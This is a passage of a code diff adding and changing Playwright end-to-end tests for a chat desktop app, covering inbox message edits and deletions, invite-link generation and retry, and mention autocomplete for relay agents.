+      rootId: EMPTY_DELETE_ROOT_ID,
+    },
+  );
+  await page.getByTestId(`home-inbox-item-${EMPTY_DELETE_REPLY_ID}`).click();
+  const detail = page.getByTestId("home-inbox-detail");
+  const rootRow = detail.locator(`[data-message-id="${EMPTY_DELETE_ROOT_ID}"]`);
+  await expect(rootRow).toContainText(EMPTY_DELETE_ROOT_CONTENT);
+  await expect(
+    detail.locator(`[data-message-id="${EMPTY_DELETE_REPLY_ID}"]`),
+  ).toContainText(EMPTY_DELETE_REPLY_CONTENT);
+  return { detail, rootRow };
+}
+
+async function submitEmptyEdit(
+  page: import("@playwright/test").Page,
+  detail: import("@playwright/test").Locator,
+  messageId: string,
+) {
+  await openMoreActions(page, messageId);
+  const editAction = page.getByTestId(`edit-message-${messageId}`);
+  await expect(editAction).toBeVisible();
+  await editAction.click();
+  await expect(detail.getByTestId("edit-target")).toBeVisible();
+  const input = detail.getByTestId("message-input");
+  await expect(input).not.toBeEmpty();
+  await input.fill("");
+  await expect(input).toBeEmpty();
+  await page.keyboard.press("Enter");
+}
+
+function editCommandCount(page: import("@playwright/test").Page) {
+  return page.evaluate(
+    () =>
+      ((window as MockWindow).__BUZZ_E2E_COMMAND_PAYLOADS__ ?? []).filter(
+        (entry) => entry.command === "edit_message",
+      ).length,
+  );
+}
+
+test("editing an immediate attachment reply preserves its media tags", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    deferSendMessageLiveEcho: true,
+    uploadDescriptors: [
+      {
+        url: ATTACHMENT_URL,
+        sha256: "a".repeat(64),
+        size: 12345,
+        type: "application/pdf",
+        uploaded: Math.floor(Date.now() / 1000),
+        filename: ATTACHMENT_FILENAME,
+      },
+    ],
+  });
+  await page.goto("/");
+  await expect(page.getByTestId("home-inbox-list")).toBeVisible();
+  await page.waitForFunction(
+    () =>
+      typeof (window as MockWindow).__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__ ===
+      "function",
+  );
+
+  await page.evaluate(
+    ({ channelId, messageId, pubkey }) => {
+      const pushFeedItem = (window as MockWindow)
+        .__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__;
+      if (!pushFeedItem) {
+        throw new Error("Mock feed helper is not installed.");
+      }
+
+      pushFeedItem({
+        category: "mention",
+        channel_id: channelId,
+        channel_name: "general",
+        content: "Inbox thread root.",
+        created_at: Math.floor(Date.now() / 1_000),
+        id: messageId,
+        kind: 9,
+        pubkey,
+        tags: [
+          ["h", channelId],
+          ["p", pubkey],
+        ],
+      });
+    },
+    {
+      channelId: GENERAL_CHANNEL_ID,
+      messageId: OWN_MESSAGE_ID,
+      pubkey: CURRENT_PUBKEY,
+    },
+  );
+
+  await page.getByTestId(`home-inbox-item-${OWN_MESSAGE_ID}`).click();
+  const detail = page.getByTestId("home-inbox-detail");
+  await expect(detail).toContainText("Inbox thread root.");
+
+  await detail.getByRole("button", { name: "Attach file" }).click();
+  await expect(detail.getByTestId("message-composer")).toContainText(
+    ATTACHMENT_FILENAME,
+  );
+  const input = detail.getByTestId("message-input");
+  await input.fill("Attachment reply before editing.");
+  await detail.getByTestId("send-message").click();
+  await expect(detail.getByText("Sending")).toHaveCount(0);
+
+  const sendPayload = await page.evaluate(() => {
+    const payloads = (window as MockWindow).__BUZZ_E2E_COMMAND_PAYLOADS__ ?? [];
+    return payloads.findLast(
+      (entry) => entry.command === "send_channel_message",
+    )?.payload;
+  });
+  expect(sendPayload).toEqual(
+    expect.objectContaining({
+      mediaTags: [
+        [
+          "imeta",
+          `url ${ATTACHMENT_URL}`,
+          "m application/pdf",
+          `x ${"a".repeat(64)}`,
+          "size 12345",
+          `filename ${ATTACHMENT_FILENAME}`,
+        ],
+      ],
+      parentEventId: OWN_MESSAGE_ID,
+    }),
+  );
+
+  const reply = detail
+    .locator('[data-testid="home-inbox-context-message"]')
+    .filter({ hasText: "Attachment reply before editing." });
+  await expect(reply).toBeVisible();
+  await expect(
+    reply.getByRole("link", { name: ATTACHMENT_FILENAME }),
+  ).toHaveAttribute("href", ATTACHMENT_URL);
+  const replyId = await reply.getAttribute("data-message-id");
+  expect(replyId).not.toBeNull();
+  const replyRow = detail.locator(`[data-message-id="${replyId}"]`);
+
+  await openMoreActions(page, replyId as string);
+  await page.getByTestId(`edit-message-${replyId}`).click();
+  await expect(detail.getByTestId("edit-target")).toBeVisible();
+  await expect(detail.getByTestId("message-composer")).toContainText(
+    ATTACHMENT_FILENAME,
+  );
+
+  await input.fill("Attachment reply after editing.");
+  await page.keyboard.press("Enter");
+  await expect(detail.getByTestId("edit-target")).toBeHidden();
+
+  const editPayload = await page.evaluate(() => {
+    const payloads = (window as MockWindow).__BUZZ_E2E_COMMAND_PAYLOADS__ ?? [];
+    return payloads.findLast((entry) => entry.command === "edit_message")
+      ?.payload;
+  });
+  expect(editPayload).toEqual(
+    expect.objectContaining({
+      eventId: replyId,
+      mediaTags: [
+        [
+          "imeta",
+          `url ${ATTACHMENT_URL}`,
+          "m application/pdf",
+          `x ${"a".repeat(64)}`,
+          "size 12345",
+          `filename ${ATTACHMENT_FILENAME}`,
+        ],
+      ],
+    }),
+  );
+
+  const releasedEchoes = await page.evaluate(() => {
+    const release = (window as MockWindow)
+      .__BUZZ_E2E_RELEASE_SEND_MESSAGE_LIVE_ECHO__;
+    if (!release) {
+      throw new Error("Mock send-echo release helper is not installed.");
+    }
+    return release();
+  });
+  expect(releasedEchoes).toBe(1);
+
+  await expect(replyRow).toContainText("Attachment reply after editing.");
+  await expect(
+    replyRow.getByRole("link", { name: ATTACHMENT_FILENAME }),
+  ).toHaveAttribute("href", ATTACHMENT_URL);
+});
+
+test("Inbox offers a working Edit action only for manageable messages", async ({
+  page,
+}) => {
+  await installMockBridge(page);
+  await page.goto("/");
+  await expect(page.getByTestId("home-inbox-list")).toBeVisible();
+  await page.waitForFunction(
+    () =>
+      typeof (window as MockWindow).__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__ ===
+      "function",
+  );
+
+  await page.evaluate(
+    ({
+      channelId,
+      currentPubkey,
+      foreignPubkey,
+      foreignMessageId,
+      ownMessageId,
+    }) => {
+      const pushFeedItem = (window as MockWindow)
+        .__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__;
+      if (!pushFeedItem) {
+        throw new Error("Mock feed helper is not installed.");
+      }
+
+      const createdAt = Math.floor(Date.now() / 1_000);
+      const messages = [
+        {
+          content: "My Inbox message before editing.",
+          createdAt,
+          id: ownMessageId,
+          pubkey: currentPubkey,
+        },
+        {
+          content: "Another person's Inbox message.",
+          createdAt: createdAt - 1,
+          id: foreignMessageId,
+          pubkey: foreignPubkey,
+        },
+      ];
+
+      for (const message of messages) {
+        pushFeedItem({
+          category: "mention",
+          channel_id: channelId,
+          channel_name: "general",
+          content: message.content,
+          created_at: message.createdAt,
+          id: message.id,
+          kind: 9,
+          pubkey: message.pubkey,
+          tags: [
+            ["h", channelId],
+            ["p", currentPubkey],
+          ],
+        });
+      }
+    },
+    {
+      channelId: GENERAL_CHANNEL_ID,
+      currentPubkey: CURRENT_PUBKEY,
+      foreignMessageId: FOREIGN_MESSAGE_ID,
+      foreignPubkey: TEST_IDENTITIES.alice.pubkey,
+      ownMessageId: OWN_MESSAGE_ID,
+    },
+  );
+
+  await page.getByTestId(`home-inbox-item-${OWN_MESSAGE_ID}`).click();
+  const detail = page.getByTestId("home-inbox-detail");
+  await expect(detail).toContainText("My Inbox message before editing.");
+
+  await openMoreActions(page, OWN_MESSAGE_ID);
+  await expect(
+    page.getByTestId(`edit-message-${OWN_MESSAGE_ID}`),
+  ).toBeVisible();
+  await waitForAnimations(page);
+  await page.screenshot({ path: `${SHOTS}/01-edit-action.png` });
+  await page.getByTestId(`edit-message-${OWN_MESSAGE_ID}`).click();
+  await expect(detail.getByTestId("edit-target")).toBeVisible();
+
+  const input = detail.getByTestId("message-input");
+  await expect(input).not.toBeEmpty();
+  await input.click();
+  await page.keyboard.press("ControlOrMeta+A");
+  await page.keyboard.type("My Inbox message after editing.");
+  await page.keyboard.press("Enter");
+
+  await expect(detail.getByTestId("edit-target")).toBeHidden();
+  await expect(
+    detail.locator(`[data-message-id="${OWN_MESSAGE_ID}"]`),
+  ).toContainText("My Inbox message after editing.");
+  await waitForAnimations(page);
+  await page.screenshot({ path: `${SHOTS}/02-edited-message.png` });
+
+  await page.getByTestId(`home-inbox-item-${FOREIGN_MESSAGE_ID}`).click();
+  await expect(detail).toContainText("Another person's Inbox message.");
+  await openMoreActions(page, FOREIGN_MESSAGE_ID);
+  await expect(
+    page.getByTestId(`edit-message-${FOREIGN_MESSAGE_ID}`),
+  ).toHaveCount(0);
+  await page.keyboard.press("Escape");
+
+  await page.evaluate(async (channelId) => {
+    const testWindow = window as MockWindow;
+    const invoke = testWindow.__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
+    const invalidateChannels = testWindow.__BUZZ_E2E_INVALIDATE_CHANNELS__;
+    if (!invoke || !invalidateChannels) {
+      throw new Error("Mock channel helpers are not installed.");
+    }
+
+    await invoke("archive_channel", { channelId });
+    await invalidateChannels();
+  }, GENERAL_CHANNEL_ID);
+
+  await page.getByTestId(`home-inbox-item-${OWN_MESSAGE_ID}`).click();
+  await expect(detail).toContainText("My Inbox message after editing.");
+  await openMoreActions(page, OWN_MESSAGE_ID);
+  await expect(page.getByTestId(`edit-message-${OWN_MESSAGE_ID}`)).toHaveCount(
+    0,
+  );
+});
+
+test("empty edit confirms deletion of the edited non-selected Inbox row", async ({
+  page,
+}) => {
+  await installMockBridge(page);
+  await page.goto("/");
+  await expect(page.getByTestId("home-inbox-list")).toBeVisible();
+  const { detail, rootRow } = await seedEmptyDeleteThread(page);
+  const selectedReplyRow = detail.locator(
+    `[data-message-id="${EMPTY_DELETE_REPLY_ID}"]`,
+  );
+  const editsBefore = await editCommandCount(page);
+
+  await submitEmptyEdit(page, detail, EMPTY_DELETE_ROOT_ID);
+  const dialog = page.getByRole("alertdialog");
+  await expect(dialog).toContainText("Delete message?");
+  await expect(detail.getByTestId("edit-target")).toBeVisible();
+  expect(await editCommandCount(page)).toBe(editsBefore);
+
+  await dialog.getByRole("button", { name: "Delete" }).click();
+  await expect(dialog).toBeHidden();
+  await expect(detail.getByTestId("edit-target")).toBeHidden();
+  await expect(rootRow).toBeHidden();
+  await expect(selectedReplyRow).toContainText(EMPTY_DELETE_REPLY_CONTENT);
+  expect(await editCommandCount(page)).toBe(editsBefore);
+
+  const deletePayload = await page.evaluate(() => {
+    const payloads = (window as MockWindow).__BUZZ_E2E_COMMAND_PAYLOADS__ ?? [];
+    return payloads.findLast((entry) => entry.command === "delete_message")
+      ?.payload;
+  });
+  expect(deletePayload).toEqual(
+    expect.objectContaining({ eventId: EMPTY_DELETE_ROOT_ID }),
+  );
+});
+
+test("cancelling an empty Inbox edit deletion preserves content and edit mode", async ({
+  page,
+}) => {
+  await installMockBridge(page);
+  await page.goto("/");
+  await expect(page.getByTestId("home-inbox-list")).toBeVisible();
+  const { detail, rootRow } = await seedEmptyDeleteThread(page);
+  const editsBefore = await editCommandCount(page);
+
+  await submitEmptyEdit(page, detail, EMPTY_DELETE_ROOT_ID);
+  const dialog = page.getByRole("alertdialog");
+  await expect(dialog).toContainText("Delete message?");
+  await expect(detail.getByTestId("edit-target")).toBeVisible();
+  expect(await editCommandCount(page)).toBe(editsBefore);
+
+  await dialog.getByRole("button", { name: "Cancel" }).click();
+  await expect(dialog).toBeHidden();
+  await expect(detail.getByTestId("edit-target")).toBeVisible();
+  await expect(rootRow).toContainText(EMPTY_DELETE_ROOT_CONTENT);
+  await expect(
+    detail.locator(`[data-message-id="${EMPTY_DELETE_REPLY_ID}"]`),
+  ).toContainText(EMPTY_DELETE_REPLY_CONTENT);
+  expect(await editCommandCount(page)).toBe(editsBefore);
+  expect(
+    await page.evaluate(
+      () =>
+        ((window as MockWindow).__BUZZ_E2E_COMMAND_PAYLOADS__ ?? []).filter(
+          (entry) => entry.command === "delete_message",
+        ).length,
+    ),
+  ).toBe(0);
+});
+
+// Regression test for the cold Inbox hydration closure. A deletion can target
+// an edit event instead of the original message, and `formatTimelineMessages`
+// drops an edit only when the edit's own id is in the deletion set. A one-hop
+// `#e` fetch over the context message ids returns the edit but not the deletion
+// of that edit, so a cold Inbox open re-applies retracted content. The sibling
+// reply is the positive control: its live edit is NOT deleted, so it must still
+// render as edited after the same cold fetch.
+test("cold Inbox open drops an edit that was itself deleted", async ({
+  page,
+}) => {
+  await installMockBridge(page);
+  await page.goto("/");
+  await expect(page.getByTestId("home-inbox-list")).toBeVisible();
+  await page.waitForFunction(() => {
+    const win = window as MockWindow;
+    return (
+      typeof win.__BUZZ_E2E_EMIT_MOCK_MESSAGE__ === "function" &&
+      typeof win.__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__ === "function"
+    );
+  });
+
+  await page.evaluate(
+    ({
+      channelId,
+      currentPubkey,
+      deletedEditId,
+      rootContent,
+      rootId,
+      selectedOriginalContent,
+      selectedReplyId,
+      selectedRetractedContent,
+      siblingEditId,
+      siblingEditedContent,
+      siblingOriginalContent,
+      siblingReplyId,
+    }) => {
+      const win = window as MockWindow;
+      const emit = win.__BUZZ_E2E_EMIT_MOCK_MESSAGE__;
+      const push = win.__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__;
+      if (!emit || !push) {
+        throw new Error("Mock bridge helpers are unavailable.");
+      }
+
+      const root = emit({
+        channelName: "general",
+        content: rootContent,
+        id: rootId,
+        pubkey: currentPubkey,
+      });
+      const selectedReply = emit({
+        channelName: "general",
+        content: selectedOriginalContent,
+        id: selectedReplyId,
+        mentionPubkeys: [currentPubkey],
+        parentEventId: root.id,
+        pubkey: currentPubkey,
+      });
+      const siblingReply = emit({
+        channelName: "general",
+        content: siblingOriginalContent,
+        id: siblingReplyId,
+        parentEventId: root.id,
+        pubkey: currentPubkey,
+      });
+
+      // The retracted edit: published, then deleted by a kind:5 that targets
+      // the EDIT event, never the reply itself.
+      const retractedEdit = emit({
+        channelName: "general",
+        content: selectedRetractedContent,
+        extraTags: [["e", selectedReply.id]],
+        id: deletedEditId,
+        kind: 40003,
+        pubkey: currentPubkey,
+      });
+      emit({
+        channelName: "general",
+        content: "",
+        extraTags: [["e", retractedEdit.id]],
+        kind: 5,
+        pubkey: currentPubkey,
+      });
+
+      // Positive control: a live edit with no deletion of its own.
+      emit({
+        channelName: "general",
+        content: siblingEditedContent,
+        extraTags: [["e", siblingReply.id]],
+        id: siblingEditId,
+        kind: 40003,
+        pubkey: currentPubkey,
+      });
+
+      push({
+        category: "mention",
+        channel_id: channelId,
+        channel_name: "general",
+        content: selectedReply.content,
+        created_at: selectedReply.created_at,
+        id: selectedReply.id,
+        kind: selectedReply.kind,
+        pubkey: selectedReply.pubkey,
+        tags: selectedReply.tags,
+      });
+    },
+    {
+      channelId: GENERAL_CHANNEL_ID,
+      currentPubkey: CURRENT_PUBKEY,
+      deletedEditId: COLD_DELETED_EDIT_ID,
+      rootContent: COLD_ROOT_CONTENT,
+      rootId: COLD_ROOT_ID,
+      selectedOriginalContent: COLD_SELECTED_ORIGINAL_CONTENT,
+      selectedReplyId: COLD_SELECTED_REPLY_ID,
+      selectedRetractedContent: COLD_SELECTED_RETRACTED_CONTENT,
+      siblingEditId: COLD_SIBLING_EDIT_ID,
+      siblingEditedContent: COLD_SIBLING_EDITED_CONTENT,
+      siblingOriginalContent: COLD_SIBLING_ORIGINAL_CONTENT,
+      siblingReplyId: COLD_SIBLING_REPLY_ID,
+    },
+  );
+
+  // First selection of this item: every edit and deletion must come from the
+  // hydration fetch, not from an optimistic local write.
+  await page.getByTestId(`home-inbox-item-${COLD_SELECTED_REPLY_ID}`).click();
+  const detail = page.getByTestId("home-inbox-detail");
+  const siblingRow = detail.locator(
+    `[data-message-id="${COLD_SIBLING_REPLY_ID}"]`,
+  );
+  await expect(siblingRow).toContainText(COLD_SIBLING_EDITED_CONTENT);
+
+  const selectedRow = detail.locator(
+    `[data-message-id="${COLD_SELECTED_REPLY_ID}"]`,
+  );
+  await expect(selectedRow).toContainText(COLD_SELECTED_ORIGINAL_CONTENT);
+  await expect(selectedRow).not.toContainText(COLD_SELECTED_RETRACTED_CONTENT);
+  await expect(detail).not.toContainText(COLD_SELECTED_RETRACTED_CONTENT);
+});
diff --git a/desktop/tests/e2e/invite-link-copy.spec.ts b/desktop/tests/e2e/invite-link-copy.spec.ts
index 20df59a00c..353793ec4a 100644
--- a/desktop/tests/e2e/invite-link-copy.spec.ts
+++ b/desktop/tests/e2e/invite-link-copy.spec.ts
@@ -27,7 +27,7 @@ test.beforeEach(async ({ page }) => {
   });
 });
 
-test("copies a freshly minted invite link without showing a URL or QR code", async ({
+test("copies a freshly minted invite link from the link field", async ({
   page,
 }) => {
   await page.goto("/");
@@ -38,7 +38,9 @@ test("copies a freshly minted invite link without showing a URL or QR code", asy
   await expect(page.getByTestId("member-pubkey-input")).toBeVisible();
   await expect(page.getByTestId("member-role")).toHaveCount(0);
   await expect(page.getByTestId("confirm-add-member")).toHaveCount(0);
-  await expect(page.getByTestId("invite-link-url")).toHaveCount(0);
+  await expect(page.getByTestId("invite-link-url")).toHaveValue(
+    "buzz://join?relay=wss%3A%2F%2Frelay.example.com&code=qr-download-test",
+  );
   await expect(page.getByTestId("invite-link-qr-code")).toHaveCount(0);
   await expect(page.getByTestId("invite-link-max-uses-trigger")).toHaveText(
     "No limit",
@@ -80,9 +82,82 @@ test("sets a selected invite-use limit", async ({ page }) => {
   ).toBeVisible();
   await page.getByTestId("invite-link-max-uses-10").click();
   await expect(maxUsesTrigger).toHaveText("10 uses");
+  await expect
+    .poll(() => invitePayloads.at(-1))
+    .toEqual({
+      max_uses: 10,
+      ttl_secs: 3 * 24 * 60 * 60,
+    });
   await page.getByTestId("copy-invite-link").click();
   await expect(page.getByTestId("copy-invite-link")).toContainText("Copied");
-  expect(invitePayloads).toEqual([
-    { max_uses: 10, ttl_secs: 3 * 24 * 60 * 60 },
-  ]);
+});
+
+test("retries a failed invite-link generation", async ({ page }) => {
+  let attempts = 0;
+  await page.route("**/api/invites", async (route) => {
+    attempts += 1;
+    if (attempts === 1) {
+      await route.fulfill({ status: 500 });
+      return;
+    }
+
+    await route.fulfill({
+      contentType: "application/json",
+      json: {
+        code: "retry-test",
+        expires_at: Math.floor(Date.now() / 1000) + 86_400,
+        url: "buzz://join?relay=wss%3A%2F%2Frelay.example.com&code=retry-test",
+      },
+      status: 200,
+    });
+  });
+
+  await page.goto("/");
+  await openSettings(page, "community-members");
+  await page.getByTestId("community-invite-dialog-trigger").click();
+
+  const linkField = page.getByTestId("invite-link-url");
+  const copyButton = page.getByTestId("copy-invite-link");
+  await expect(linkField).toHaveAttribute(
+    "placeholder",
+    "Couldn’t create invite link",
+  );
+  await expect(copyButton).toHaveText("Retry");
+  await expect(copyButton).toBeEnabled();
+
+  await copyButton.click();
+  await expect(linkField).toHaveValue(
+    "buzz://join?relay=wss%3A%2F%2Frelay.example.com&code=retry-test",
+  );
+  await expect(copyButton).toHaveText("Copy link");
+  expect(attempts).toBe(2);
+});
+
+test("reopens with the default expiry before generating a new link", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await openSettings(page, "community-members");
+  await page.getByTestId("community-invite-dialog-trigger").click();
+
+  await expect
+    .poll(() => invitePayloads)
+    .toEqual([{ ttl_secs: 3 * 24 * 60 * 60 }]);
+  await page.getByTestId("invite-link-ttl-trigger").click();
+  await page.getByTestId("invite-link-ttl-604800").click();
+  await expect
+    .poll(() => invitePayloads)
+    .toEqual([{ ttl_secs: 3 * 24 * 60 * 60 }, { ttl_secs: 7 * 24 * 60 * 60 }]);
+
+  const dialog = page.getByTestId("community-invite-dialog");
+  await dialog.getByRole("button", { name: "Close" }).click();
+  await expect(dialog).toHaveCount(0);
+  await page.getByTestId("community-invite-dialog-trigger").click();
+  await expect
+    .poll(() => invitePayloads)
+    .toEqual([
+      { ttl_secs: 3 * 24 * 60 * 60 },
+      { ttl_secs: 7 * 24 * 60 * 60 },
+      { ttl_secs: 3 * 24 * 60 * 60 },
+    ]);
 });
diff --git a/desktop/tests/e2e/invites-settings-screenshots.spec.ts b/desktop/tests/e2e/invites-settings-screenshots.spec.ts
index 56369b483d..5421fa6428 100644
--- a/desktop/tests/e2e/invites-settings-screenshots.spec.ts
+++ b/desktop/tests/e2e/invites-settings-screenshots.spec.ts
@@ -1,7 +1,7 @@
 import { expect, test } from "@playwright/test";
 
 import { waitForAnimations } from "../helpers/animations";
-import { installMockBridge } from "../helpers/bridge";
+import { TEST_IDENTITIES, installMockBridge } from "../helpers/bridge";
 import { openSettings } from "../helpers/settings";
 
 const OUTDIR = "test-results/invites-settings";
@@ -36,6 +36,15 @@ test.beforeEach(async ({ page }, testInfo) => {
   await openSettings(page, "community-members");
 });
 
+test("opens a profile from a community member avatar", async ({ page }) => {
+  await page.getByRole("button", { name: "Open profile for alice" }).click();
+
+  await expect(page).toHaveURL(
+    new RegExp(`/pulse\\?profile=${TEST_IDENTITIES.alice.pubkey}$`),
+  );
+  await expect(page.getByTestId("user-profile-panel")).toBeVisible();
+});
+
 test("capture: consolidated invites settings", async ({ page }) => {
   const panel = page.getByTestId("settings-panel-community-members");
 
@@ -95,15 +104,19 @@ test("capture: share-style community invite dialog", async ({ page }) => {
   await expect(
     dialog.getByRole("heading", { name: "Add someone", exact: true }),
   ).toHaveCount(0);
+  await expect(dialog.getByTestId("invite-options-divider")).toBeVisible();
   await expect(
-    dialog.getByText("Or share a link", { exact: true }),
-  ).toHaveCount(0);
-  await expect(
-    dialog.getByText("Link settings", { exact: true }),
+    dialog.getByText("Or, copy a link", { exact: true }),
   ).toBeVisible();
+  await expect(dialog.getByText("Link settings", { exact: true })).toHaveCount(
+    0,
+  );
   await expect(page.getByTestId("member-pubkey-input")).toBeVisible();
   await expect(page.getByTestId("member-role")).toHaveCount(0);
   await expect(page.getByTestId("confirm-add-member")).toHaveCount(0);
+  await expect(page.getByTestId("invite-link-url")).toHaveValue(
+    "https://alpha.example.com/invite/community-email-test",
+  );
   await expect(page.getByTestId("copy-invite-link")).toHaveText("Copy link");
   await expect(page.getByTestId("invite-link-ttl-trigger")).toHaveText(
     "3 days",
diff --git a/desktop/tests/e2e/mentions.spec.ts b/desktop/tests/e2e/mentions.spec.ts
index 6ce2b6824f..ed00e8c355 100644
--- a/desktop/tests/e2e/mentions.spec.ts
+++ b/desktop/tests/e2e/mentions.spec.ts
@@ -7,6 +7,7 @@ import {
 } from "../helpers/bridge";
 
 const MOCK_VIEWER_PUBKEY = "deadbeef".repeat(8);
+const GENERAL_CHANNEL_ID = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
 
 test.beforeEach(async ({ page }) => {
   await installMockBridge(page);
@@ -67,6 +68,46 @@ async function readCommandPayloadLog(page: import("@playwright/test").Page) {
   });
 }
 
+async function readOutgoingMentionPubkeys(
+  page: import("@playwright/test").Page,
+  content: string,
+) {
+  return page.evaluate((expectedContent) => {
+    const entries =
+      (
+        window as Window & {
+          __BUZZ_E2E_COMMAND_LOG__?: Array<{
+            command: string;
+            payload: unknown;
+          }>;
+        }
+      ).__BUZZ_E2E_COMMAND_LOG__ ?? [];
+
+    for (const entry of entries) {
+      if (entry.command !== "plugin:websocket|send") continue;
+      const data = (
+        entry.payload as { message?: { data?: string } } | undefined
+      )?.message?.data;
+      if (!data) continue;
+
+      try {
+        const frame = JSON.parse(data) as [
+          string,
+          { content?: string; tags?: string[][] },
+        ];
+        if (frame[0] !== "EVENT" || frame[1]?.content !== expectedContent) {
+          continue;
+        }
+        return (frame[1].tags ?? [])
+          .filter((tag) => tag[0] === "p" && tag[1])
+          .map((tag) => tag[1]);
+      } catch {}
+    }
+
+    return null;
+  }, content);
+}
+
 function commandCount(commands: string[], command: string) {
   return commands.filter((entry) => entry === command).length;
 }
@@ -209,9 +250,6 @@ test("@ trigger prioritizes channel members before runnable personas and other m
 
   const dropdown = autocomplete(page);
   await expect(dropdown).toBeVisible();
-  // alice is relay-classified as an agent and is an owner-member of #general —
-  // i.e. an agent someone else runs. Being in the channel is what makes her
-  // mentionable here; nobody on this device manages her.
   await expect(dropdown.getByText("alice")).toBeVisible();
   await expect(dropdown.getByText("bob")).toBeVisible();
   await expect(dropdown.getByText("Fizz")).toBeVisible();
@@ -220,16 +258,15 @@ test("@ trigger prioritizes channel members before runnable personas and other m
   const charlieRow = dropdown.locator("button", { hasText: "charlie" });
   await expect(charlieRow.getByTestId("mention-agent-icon")).toBeVisible();
   await expect(charlieRow.getByText("not in channel")).toBeVisible();
-  // ...and because she is in it, she carries no "not in channel" caveat, which
-  // is the whole difference between her row and charlie's.
   await expect(
     dropdown
       .locator("button", { hasText: "alice" })
       .getByText("not in channel"),
-  ).toHaveCount(0);
+  ).not.toBeVisible();
 
   const suggestions = dropdown.locator("button");
   const suggestionText = await suggestions.allInnerTexts();
+  const aliceIndex = suggestionText.findIndex((text) => text.includes("alice"));
   const fizzIndex = suggestionText.findIndex((text) => text.includes("Fizz"));
   const bobIndex = suggestionText.findIndex((text) => text.includes("bob"));
   const charlieIndex = suggestionText.findIndex((text) =>
@@ -238,14 +275,40 @@ test("@ trigger prioritizes channel members before runnable personas and other m
   const outsiderIndex = suggestionText.findIndex((text) =>
     text.includes("outsider"),
   );
+  expect(aliceIndex).toBeGreaterThanOrEqual(0);
   expect(fizzIndex).toBeGreaterThanOrEqual(0);
   expect(bobIndex).toBeGreaterThanOrEqual(0);
   expect(charlieIndex).toBeGreaterThanOrEqual(0);
   expect(outsiderIndex).toEqual(-1);
+  expect(aliceIndex).toBeLessThan(fizzIndex);
   expect(bobIndex).toBeLessThan(fizzIndex);
   expect(fizzIndex).toBeLessThan(charlieIndex);
 });
 
+test("relay-only shared agents emit an outbound mention tag when selected", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  const input = page.getByTestId("message-input");
+  await input.fill("Ask @alice");
+
+  const aliceRow = autocomplete(page).locator("button", { hasText: "alice" });
+  await expect(aliceRow).toBeVisible();
+  await aliceRow.click();
+  await page.keyboard.type("please reply");
+
+  const content = "Ask @alice please reply";
+  await expect(input).toHaveText(content);
+  await page.getByTestId("send-message").click();
+
+  await expect
+    .poll(() => readOutgoingMentionPubkeys(page, content))
+    .toContain(TEST_IDENTITIES.alice.pubkey);
+});
+
 test("thread autocomplete keeps multiple long names readable in a narrow panel", async ({
   page,
 }) => {
@@ -785,7 +848,7 @@ test("other-owned agents without a shared channel are hidden from mentions", asy
   await expect(input.locator(".mention-chip")).toHaveCount(0);
 });
 
-test("own profile-only agents are hidden from channel mentions", async ({
+test("stale channel-member agents absent from managed and relay directories stay hidden", async ({
   page,
 }) => {
   await installMockBridge(page, { userSearchDelayMs: 1_000 });
@@ -831,7 +894,82 @@ test("managed relay agents are visible in channel mentions regardless of relay p
   await expect(dropdown.getByText("agent")).toBeVisible();
 });
 
-test("relay-only agents stay hidden from channel mentions even when allowlisted", async ({
+test("relay-only shared agents stay hidden from DM mentions", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-alice-tyler").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("alice-tyler");
+
+  await page.getByTestId("message-input").fill("@alice");
+
+  await expect(autocomplete(page)).toHaveCount(0);
+});
+
+test("cached relay-agent suggestions are removed when channel authorization disappears", async ({
+  page,
+}) => {
+  await installMockBridge(page, { userSearchDelayMs: 10_000 });
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  const input = page.getByTestId("message-input");
+  await input.fill("@alice");
+  const aliceSuggestion = autocomplete(page).getByTestId(
+    `mention-suggestion-${TEST_IDENTITIES.alice.pubkey}`,
+  );
+  await expect(aliceSuggestion).toBeVisible();
+  await expect
+    .poll(async () =>
+      (await readCommandPayloadLog(page)).some(
+        (entry) =>
+          entry.command === "search_users" &&
+          (entry.payload as { query?: string }).query === "alice",
+      ),
+    )
+    .toBe(true);
+
+  await page.evaluate(async (channelId) => {
+    const bridge = window as Window & {
+      __BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
+      __BUZZ_E2E_MUTATE_CHANNEL__?: (opts: {
+        channelId: string;
+        channelType: null;
+      }) => void;
+    };
+    bridge.__BUZZ_E2E_MUTATE_CHANNEL__?.({ channelId, channelType: null });
+    await bridge.__BUZZ_E2E_INVALIDATE_CHANNELS__?.();
+  }, GENERAL_CHANNEL_ID);
+
+  await expect(aliceSuggestion).toHaveCount(0);
+});
+
+test("relay-only shared agents appear in forum mentions", async ({ page }) => {
+  await installMockBridge(page, {
+    relayAgents: [
+      {
+        pubkey: ALLOWLIST_RELAY_AGENT_PUBKEY,
+        name: "quinn",
+        respondTo: "allowlist",
+        respondToAllowlist: [MOCK_VIEWER_PUBKEY],
+        channelNames: ["watercooler"],
+      },
+    ],
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-watercooler").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("watercooler");
+  await page.getByRole("button", { name: "Start a new post..." }).click();
+
+  await page.getByTestId("message-input").fill("@quinn");
+
+  await expect(
+    page.getByTestId("mention-autocomplete").getByText("quinn"),
+  ).toBeVisible();
+});
+
+test("relay-only allowlisted agents are visible in channel mentions", async ({
   page,
 }) => {
   await installMockBridge(page, {
@@ -841,6 +979,7 @@ test("relay-only agents stay hidden from channel mentions even when allowlisted"
         name: "quinn",
         respondTo: "allowlist",
         respondToAllowlist: [MOCK_VIEWER_PUBKEY],
+        channelNames: ["general"],
       },
     ],
   });
